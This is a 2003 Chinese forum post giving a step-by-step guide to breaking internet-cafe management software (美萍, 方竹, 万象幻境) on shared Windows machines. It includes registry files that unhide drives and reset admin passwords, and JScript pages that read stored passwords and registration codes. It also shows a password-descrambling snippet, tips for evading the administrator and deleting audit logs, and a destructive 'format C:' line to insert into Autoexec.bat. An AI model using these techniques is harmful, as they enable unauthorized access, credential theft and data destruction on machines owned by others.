|
|
解网吧(不要干坏事哦)
初级
1．禁止"运行"
2．禁止IE下载
3．禁止IE地址栏
4．禁止任务栏上的右键
5．禁止使用菜单条上的右键
6．不提供TE(只提供去掉TE的QQ)
7．屏蔽本地硬盘(通过修改注册表)
中级
中级除初级所有的限制外还有:
1．禁止使用WINZIP
2．禁止使用实核DOS
3．禁止导入REG文件
4．禁止导入INF文件
5．屏蔽IE中的文件菜单
6．屏蔽IE的Internet属性
高级
高级除了初.中级所有的限制外还有
1．屏蔽鼠标右键
2．屏蔽MS-DOS方式
3．禁止使用Regedit
4．开机屏蔽系统键F4,F5和F8
5．禁止使用组合键(主要是WIN+?,SHIFT+?,ALT+?)
(这高级类我个人认为纯属变态行为,因为机子一旦出了什么问题,那就%#%@!#@*&……) </P><P>对于以上的禁止,其对策如下:
对以上的禁止可分为外部破解法与内部破解法,要提醒大家一句的就是,我们在一般情况下最好是用外部破解法(治标),而不宜采用内部破解法( 治本),因为内部破解法极易被网吧管理员发现,那后果将是不堪设想的了。
外部破解法: </P><P>对于初级
一般管理软件都不让我们进入"我的电脑"等文件管理模式,但是,通过IE,按alt+F,或者直接点选文件选项,选打开文件。在弹出的对话框中, 输入C 所要进入的盘的盘符),而且最重要的是打上以web文件夹方式打开这个复选框上的勾,然后系统弹出提示框点是即可,这样我们就轻而易举的进入了C :盘。
当桌面上没有"我的电脑"等图标的时候(此时桌面已被屏蔽,我们所看见的只是虚拟桌面而已,它居然能够屏蔽Windows桌面，真让人惊叹不已, 此软件可能像"虚拟光驱"一样使用了VXD技术)。就用"WIN"+D刷新桌面,在美萍下的桌面实际是美萍指定的一个目录，而原桌面则被隐藏了, 刷新之后,我的电脑等将会显示在桌面上,如果此法不行的话,就打开IE(老板总不至于笨得来把IE浏览器也隐藏了吧,那谁还去网吧?),在地址栏里直接输入" 桌面",然后再回车,就可以把桌面以窗口的形式打开了,然后就可以打开"我的电脑"了,(但是硬盘是被屏蔽掉的，当我们打开"我的电脑"时将什么都看不见) ，此时你要做的是新建一个文本文档输入这么几行 其作用是解除屏蔽硬盘) </P><P>REGEDIT4 </P><P>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"NoDrives"=dword:00000000 </P><P>另存为随便一个reg文件就可以了,保存的时候在文件类型处选所有文件,然后扩展名为reg,不过在保存时文件名的两端一定要用双引号,要不然就保存的就是文本文件了。之后你要做的就是导入它( 理解为运行它也行),等你再次开机时,或者刷新系统也行(Ctrl+Alt+Del,选中explorer,然后再点"结束任务",再等几秒钟,出现一个对话框, 然后再点"取消"即可)打开我的电脑就会看见那些可爱的C盘.D盘呀就又回来啦,当然你如果不想看见美萍,也行,只要把文档的内容改改就行了: (其作用是关闭"美萍") </P><P>REGEDIT4 </P><P>[HKEY_LOCAL_MACHINE\Software\MpsoftSmenu]
"exitpassword"="i"
"setuppassword"="i"
"quitpassword"="i" </P><P>继续导入它,重启后你就放心大胆的退出美萍吧,此时它的密码可是什么都没有哟^_^但愿你不要用它来干坏事。
以上提到的所有方法都是进入硬盘的方法,其实除此之外还有几个方法也是可行的:
方法一.打开记事本,在里边输入如下代码:
<html>
<head>
<title>进入硬盘</title>
</head>
<body>
<center>
<p>
<A href="file:///a:/">进入A盘</A>
<A href="file:///c:/">进入C盘</A>
<A href="file:///d:/">进入D盘</A>
<A href="file:///e:/">进入E盘</A>
<A href="file:///f:/">进入F盘</A>
</center>
</body>
</html>
然后另存为join.htm,再打开这个文件,想进入什么盘就点什么盘就可以了, 如果上面的办法不行的话,那么以下的方法就要麻烦一些了。
方法二.重启计算机,当屏幕由黑色变成Windows背景时,不断按Tab+空格键+Enter,直到桌面变为虚拟桌面为止,然后正常登录,进入后一般就可在任务栏上看到" 我的电脑"窗口了。
方法三.重启计算机,当屏幕由黑色变成Windows背景时,按Ctrl+Alt+Del,看有无smenu,如果没有,点"取消"按钮,接着按Ctrl+Alt+Del,看有无s menu,重复以上操作,直到看见smenu,将其结束任务。这样当刚进入Windows时,鼠标就不会被锁定了,然后在变成虚拟桌面之前,赶紧用鼠标双击" 我的电脑"图标。等虚拟桌面之启动后,正常登录,进入后一般就可在任务栏上看到"我的电脑"窗口了。
方法四.打开WINZIP任意解压一个压缩文件,用那种解压向导的模式,千万不要用CLASS的模式,解压完成以后,它会把你解压的文件夹打开,而如果不经过设置的话( 你也可以自己选解压目录),这个文件夹会在C盘下面,然后.....哼哼,硬盘任我行~~~
方法五. 借助于mIRC,如果是想要进入本地硬盘就在输入行里输入如下命令: /run C:
你如果想要打开什么盘就把C改为你要进入的盘的盘符,然后再回车就可以打开本地硬盘,因为mIRC里执行的是机器码,因而网吧管理软件没有办法阻止它的( 当然mIRC还有很多用途,一个好的mIRC或者BOT可以简化Win9x操作系统,比如CatenBot就是一个比较好的例子)
方法六.通过"查找"来绕过美萍(当然是用WIN+F啦,或者F3,再或者在任意一个文件夹内用Ctrl+F也行)。网吧老板们大都因为屏蔽了硬盘而对次热键大开绿灯。为什么会这样呢? 其实原因也是再简单不过的了,因为你在搜索栏内找不到本地硬盘,如果你选择我的电脑来进行查找如Command等的文件时一定会被告知"找不到" 。但我要说的是他们的如意算盘又打错了，搜索栏中是可以输入的。在上面如输入"C:"然后再找"Command"，嘿嘿，找到的可就是一大堆了。此时如果运行C ommand.com就可以进入DOS,打开C:\Windows\Command,这样一来，咱又可以对本地硬盘进行访问啦。 </P><P>对于中级
因为禁止导入reg文件，所以我们无法通过导入注册表的方法来实现访问，又由于禁止使用WINZIP，所以此方法也失灵，禁用"查找"，所以……。但你不要认为我们就真的没办法绕过去了，方法多多，看你能否想的到咯。
这时我们要用的还是IE,在IE地址栏中用中文输入"桌面"回车。如此一来我们熟悉的桌面又以窗口的形式打开啦~现在我们要做的和上面所做的一样：新建一个文本文档，然后输入这么一行:
C:Command.com
当然此时我们就的把他另存为批处理文件啦,随便的一个文件名后加上.bat就可以了，然后运行它。哈，我们又跳入了DOS了(注意的是此时是没办法用R egedit来修改注册表的,如果美萍是6.5以上的版本注册表修改器将会一闪而过。我们是无法使用的)跳入DOS后一般是没有限制的,然后我们要做的……嘿嘿, 不说什么了吧:> </P><P>对于高级
咱是没话说了。开机屏蔽F4，F5，F8我们不能从开机时下手；屏蔽MS-DOS，咱不能使用批处理文件来进入MS-DOS方式(也不能玩DOS游戏,相信此网吧里是不会提供游戏的, 那儿可能也只有IE和去掉TE的QQ)；屏蔽鼠标右键菜单，我们不能新建文件；估计此时网吧里应该用的是超级兔子中的"安全限制"全选+"屏蔽本地硬盘" +"美萍"来限制大家的。你看到这时想必要嚎啕大哭一场了，别，请珍惜这世界上的每一滴水，请放心,什么都挡不住咱的
不过呢，到此老板们的防御漏洞也就越来越少了,哎~只好又用IE的了,和前面说的一样,在IE的地址栏中输入如我的电脑或桌面等,我的电脑和桌面将会以窗口的形式打开。
此时我们至少还有四种方法可用:
1.此时只有一个左键,用右键菜单来新建文件看来是不行的了,但这并不代表就不能建立我们需要的文件了,打开IE,点"菜单栏→查看→源文件" ,好了,现在我们是不是已经打开了一个文本文档,这个是通过修改旧文件的方法,此外你也可以到以窗口形式打开的桌面上点"文件→新建" 也能够达到同样的目的,"快捷方式"也可以在这里建立的。如果我们要想弹出右键菜单还可以用Shift+F10,或者你按下键盘上最后一排左数第7 个键试试,是不是我们所要的菜单都出来了?好了,到此再按前面所讲的步骤进行就可以了。
2.打开任意一个文件夹(最好是桌面上能看见的),在"查看→工具栏→自定义"中插入文件夹，然后在标准按钮中找到文件夹的按钮打开它，那么C 盘就能看见了。
3.除了这样我们还可以做的工作就是:找!找什么呢,找桌面上的一个"快捷方式"(其实就是左下角带有箭头的图标),基本上网吧里的每一台机器上都有Q Q,并且它的默认安装目录是在C盘, 所以最好选QQ的快捷方式,找到后选中它。如果你找不到那些快捷方式，就去点任意一张网页的最左上角吧,可以拉一个快捷方式的,可以拉到桌面上, 然后改改其始位置就可以了,然后点工具栏中的属性,我们将看见有"目标"和"起始位置"的，注意一下这个"起始位置"吧，它是本地硬盘上的一个目录, 好~接下来点"查找目标"，是不是又到了本地硬盘上了,这个目录是不是很眼熟?对了~就是刚才那个图标的目标目录,现在我们已经完成了对本地硬盘进行访问的目的了。
4.如果你在网吧里重新启动过机器,那么你一定还有印象吧,那些网管软件是在开机的时候便自动运行的,你知道QQ是怎么自动运行的吗?(哇塞, 你没有听说过QQ?那快去咨询台咨询咨询吧)在"开始→程序→启动"里边的(在硬盘里的目录为C:\Windows\Start Menu\启动),但是网管软件就不是那么简单了,它是通过修改注册表来实现的,其位置为: </P><P>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
键名是"SMENU",键值为"c:\SMENU\SMENU/EXE/lock" </P><P>(一般这类软件的启动代码都放在Autoexec.bat(C:\Windows\Command\Ebd)、Config.sys(C:\Windows\Command\Ebd)、Win.ini(C:\Window s)或注册表中)如果有软驱,那么只要从A盘启动,然后将其代码从启动文件中删掉,或将"网管软件"的主执行文件改名(Windows中不能改执行中的文件名) ,便可达到目的。不过要是机子安了硬盘保护卡就不大好办,因为这样就不能重启机器了。(其实金山.瑞星.超级解霸等大多数都是采用的这种方法在开机的时候启动的) 另外你也可以在C盘里找到批处理文件Autoexec.bat, 在里边添加 format C:/autotest,(不知道怎么添加,哎~点右键,选编辑就是了,然后保存)那么在第二次启动后它就完了。两种方法的效果都一样,另你满意多多~ ~~~~~
什么?你的QQ的聊天记录不能Del掉,唉~别按Del键呀,它可是有可能被屏蔽掉了哟。点上面"工具栏"上的"删除"吧(就是那个叉叉),怎么,认为权限太少? 那你别忙呀,解铃还需系铃人。找兔子吧,一般的说它在硬盘上的某处。一般根据习惯来看,它不是在C:\Tools下就是在D:\Tools下。其实你也别想着更多的权限了, 你想做的不就是想把自己的上网记录删除么(可不要把自己弄成了"骇客"哦),我Caten告诉你它们的路径不就完了? </P><P> C:\Program Files\Qicq\你的号码(也可能是是C:\Program Files\Tencent\你的号码) 这就是QQ的聊天记录
C:\Windows\Cookies 这是你网上某个帐号的密码保存处。嘿~还等什么?赶紧删掉吧! </P><P>内部破解法 </P><P>对于以上的诸多方法大多数我们也都只能是应付一下而已了,要不就全部破坏它。也许各位还记得解铃还须系铃人的道理吧。最笨的方法就是当我们进入了本地硬盘之后, 如果能在网吧老板不发觉的情况下(不过这个特别危险,千万要注意哦,一不小心你就会多了一副熊猫眼)我们可以找到这些网管软件的安装目录, 一般都在C盘里边,仔细找找就能找到了(如美萍.方竹.万象幻景等),然后我们把它们通通删掉就行了,但是一般情况下我们无法直接删掉它们的, 因为它们是后台运行的(Win9X不能删掉正在运行的文件)就连Ctrl+Alt+Del也看不见它们的踪影。幸好这类软件绝大多数都有一个反安装程序( Unistall),双击它,然后点确定,再重启机子,嘿嘿~诸多烦人的事情从此烟消云散了,你也许还会发觉上网因此而精彩的~~~ </P><P>下面所要讲到的方法就具有较强的技术性了,需要有一定的电脑基础
对于美萍,这时我们可以打开regedit,到
HKEY_LOCAL_MACHINE\Software\Mpsoft\Smenu\中将会发现有
"exitpassword","quitpassword","setuppassword"的键名,它们的键值便是密码信息,由此可以算出他们的共享密码(其它几种网管软件跟这个都类似, 一般网吧为了好管理,密码全是一样的),如果注册表编辑器被锁,那么我们也可以自己编写程序来获得此密码信息与注册名和注册码或者编写解锁代码, 方法如下,打开一个文本文档,在文本里边输入如下代码: </P><P>方竹的是:
<html>
<head>
<title>方竹的密码信息</title>
</head>
<body>
<script language="javascript">
WSHShell=new ActiveXObject("WScript.Shell");
var a=WSHShell.RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\jingzu\\jilu\\rewin");
document.write("方竹的系统设置密码:");
document.write(a);
</script>
</body>
</html> </P><P>万象的是:
<html>
<head>
<title>万象幻境的密码信息</title>
</head>
<body>
<script language=javascript>
WSHShell=new ActiveXObject("WScript.Shell");
var a=WSHShell.RegRead("HKEY_LOCAL_MACHINE\\Software\\万象幻境\\专家系列网管软件\\运行设置程序密码");
document.write("万象幻境的密码信息:");
document.write(a);
</script>
</body>
</html> </P><P>美萍8.0以下版(包括8.0)的是:
<html>
<head>
<title>"美萍8.0"的密码信息</title>
</head>
<body>
<script language="javascript">
var WshShell = new ActiveXObject("WScript.Shell");
var a=WSHShell.RegRead("HKEY_CURRENT_USER\\Software\\Mpsoft\\Smenu\\setuppassword");
document.write("美萍8.0以下版(包括8.0)的密码信息:");
document.write(a);
</script>
</body>
</html> </P><P>美萍8.1以上版(包括8.1)的是:
<html>
<head>
<title>美萍8.1的密码信息</title>
</head>
<body>
<script language=javascript>
WSHShell=new ActiveXObject("WScript.Shell");
var a=WSHShell.RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\ Setup\\Ndis\\Psetup");
document.write("美萍8.1以上版(包括8.1)的密码信息:");
document.write(a);
</script>
</body>
</html> </P><P>万象幻境的注册码:
<html>
<head>
<title>万象幻境的注册码</title>
</head>
<body>
<script language=javascript>
WSHShell=new ActiveXObject("WScript.Shell");
var a=WSHShell.RegRead("HKEY_LOCAL_MACHINE\\Software\\万象幻境\\专家系列网管软件注册信息\\序列号");
var b=WSHShell.RegRead("HKEY_LOCAL_MACHINE\\Software\\万象幻境\\专家系列网管软件注册信息\\注册码1");
var c=WSHShell.RegRead("HKEY_LOCAL_MACHINE\\Software\\万象幻境\\专家系列网管软件注册信息\\注册码2");
document.write("序列号:");
document.write(a);
document.write("注册码:");
document.write(b+c);
</script>
</body>
</html>
然后另存为随便一个htm文件就可以了,保存后再打开它,那么我们所要的密码信息就会自动的出来了。 </P><P>Regedit解锁代码:
REGEDIT4 </P><P>[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System]
"DisableRegistryTools"=dword:00000000
然后另存为随便一个reg文件,再把它导入注册表,重启机器即可生效。
首先它的密文不区分大小写,因为大小写分别输入后密文并未发生改变,并且其采用的是ASCII代码调换加密法,且仅支持64个字符，对应值如下表所示: </P><P>
密码对照表(左边是键值,右边的是密码)
032 sp 033 ! 034 " 035 # 036 $ 037 % 038 & 039 ’ 040 ( 041 )
042 * 043 + 044 , 045 - 046 . 047 / 048 0 049 1 050 2 051 3
052 4 053 5 054 6 055 7 056 8 057 9 058 : 059 ; 060 < 061 =
062 > 063 ? 064 @ 091 [ 092 \ 093 ] 094 ^ 095 _ 096 ' 097 a
098 b 099 c 100 d 101 e 102 f 103 g 104 h 105 i 106 j 107 k
108 l 109 m 110 n 111 o 112 p 113 q 114 r 115 s 116 t 117 u
118 v 119 w 120 x 121 y 122 z 123 { 124 | 125 } 126 ~ 127 Del </P><P>这时可以使用switch语句,便能编写密文的还原程序,不过我认为此算法的加密与解密是同一方法。加密程序是"美"自带的,一定不会太麻烦, 所以解密程序也用不着switch语句了,在"美"中只是将密码原文中的ASCII码二进制个别位的0变1,1变0。比如"a"为01100001加密后为0010 1000即"("左括号。所以用C语言编写这个破解程序的核心语句为: </P><P>假设串a[255]为密文
int i=0;
while(a!=’\0’)
{
a=0x49;
i++;
}; </P><P>我想加密程序也应该跟它差不多都是这样编写的。这时候"美"密码全面告破,我们便将掌握机器的最高权力,点"退出系统",在对话框中写入我们获得的密码, 久违了的Windows桌面就这样又回来了。然后进入设置程序,将限制统统去掉!但是假如就只是这样,"网管"会发现我们的,因为"美"在退出时, 会记录下"退出美萍安全卫士"的信息,所以当我们重新登陆后,就得把这条消息及时删掉。
根据上面所讲的方法解出密码后,用此密码进入他们的Server,(在那些网管软件的说明里一般都有"丢失了密码怎么办",按照那上面的方法也是可以获取密码的) ,当然你也可以改他们的密码,转一圈我们便可以找到他的网管软件安装程序,下载到本地硬盘,然后将本地的客户端软件卸载,安装他的服务端程序, 以后嘛~嘿嘿,不用我多讲了吧……
上面说了这么多,都是要靠自己动脑筋来弄的,有没有更简单的方法呢?当然有了,你可以到http://xinqi.myrice.com下载一个专门对付这些网管软件的软件, 或者windows进程管理大师也是可以的。怎么?不让下载,够狠的啊,嘿嘿~,他有政策我便有对策,你所谓的不让下载是不让下载*.zip或者*. exe罢了,并不是什么都不让下载的(如果是什么都不让下载,那么你在IE属性改一改就可以了),哈哈,这下对了,看好了怎么弄:
我们可以先在没有禁止下载的网吧里做如下工作(总不至于每个网吧都怎么狠吧),到上面说的网站去下载几个这种软件,然后打开记事本,在里边输入:
rename meiping.exe meiping.abc
然后把这个文本文件另存为一个任意名的批处理文件*.bat就可以了,这样弄的目的是把这个软件的后缀名改掉,当然meiping就是你下载的软件的名字, 如果不是的话,你可以把它改为这个(为了一致),然后运行这个bat文件就可以了,meiping.exe是不是变成了meiping.abc了,好,然后我们再把这个b at文件改一下,把它改为 rename meiping.abc meiping.exe保存一下就可以了,然后打开你的电子信箱(不会?我的天啊>:< ),发个附件吧,把刚才的meiping.abc和那个批处理文件发到信箱里就行了, 以后要用的时候就到信箱里把这两个文件下载来就可以了(但要记住必须是在同一个目录下,最好是在桌面上的某一个文件夹中),下载后运行这个b at文件,meiping.exe是不是又出来了?哈哈,成功了吧~~~~~~ </P><P>讲到这儿,最后我就给大家介绍介绍经验了。
1．确认禁止导入reg文件:看看reg文件是不是只能以文本文件打开，如是的话则被屏蔽。
2．确认禁用组合键:用QQ,把QQ的热键设为ALT+Z,(默认的可是CTRL+ALT+Z)按下ALT+Z看看QQ能否弹出,如不能,则被屏蔽。
3．确认屏蔽鼠标右键菜单:这个就比较简单了，屏蔽之后无论在桌面或者任意目录下单击右键都不会有菜单弹出。 </P><P>这里我还须补充的几点就是:
1．我们还可以通过网络邻居。把目录设为完全共享，通过网络邻居访问本机，之后……当你以网络邻居的身份访问本机时,嘿嘿,一切烦人的权限限制就都没啦。你不知道这么设? 笨哦,是属性里的,自己看吧。
2．桌面其实是本地硬盘上的一块区域(C:\Windows\Desktop)。其实屏幕上的许多东西都是硬盘里的某一个区域,比如"开始"菜单(C:\Wi ndows\Start Menu)等等。
3．网吧里的QQ一般都有一个备份在本地硬盘上的,而且一般会在D盘如Tools，Downloads或Backup之类的目录下,自己用心找找,找到后重新安装, 把原来的QQ覆盖掉后,嘿~久别的TE就又回来啦。
4．如果进入DOS模式,劝大家还是多用内部命令,少用外部命令。因为外部命令是可改名的,况且杀伤太大,一不小心……
5．网吧里最好不要用BO，一来是我Caten不赞成，二来是很容易被对方发现，如果你因此多了两只熊猫眼嘛,可别怪我没提醒你哟~(要知道那些熊老板们可是不好惹的)
行了,就说这么多了,相信没有什么机子能挡得住你了,按照上面的方法出去找一家用了美萍.方竹或者万象幻景的机器你自己试试看吧,可是你可不要玩出火来啊~ 哈哈哈~~~
不过告诉你一个秘密:咱也经常有无能为力的时候,比如说上次我去的天翔网吧里就有俺无法取得权限的机子。唉~,是我无能,是我无用,但他们没电源我又能有什么办法呢? |
|
IP卡
狗仔卡
发表于 2003-11-19 16:13
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
显身卡
发表于 2003-11-21 18:59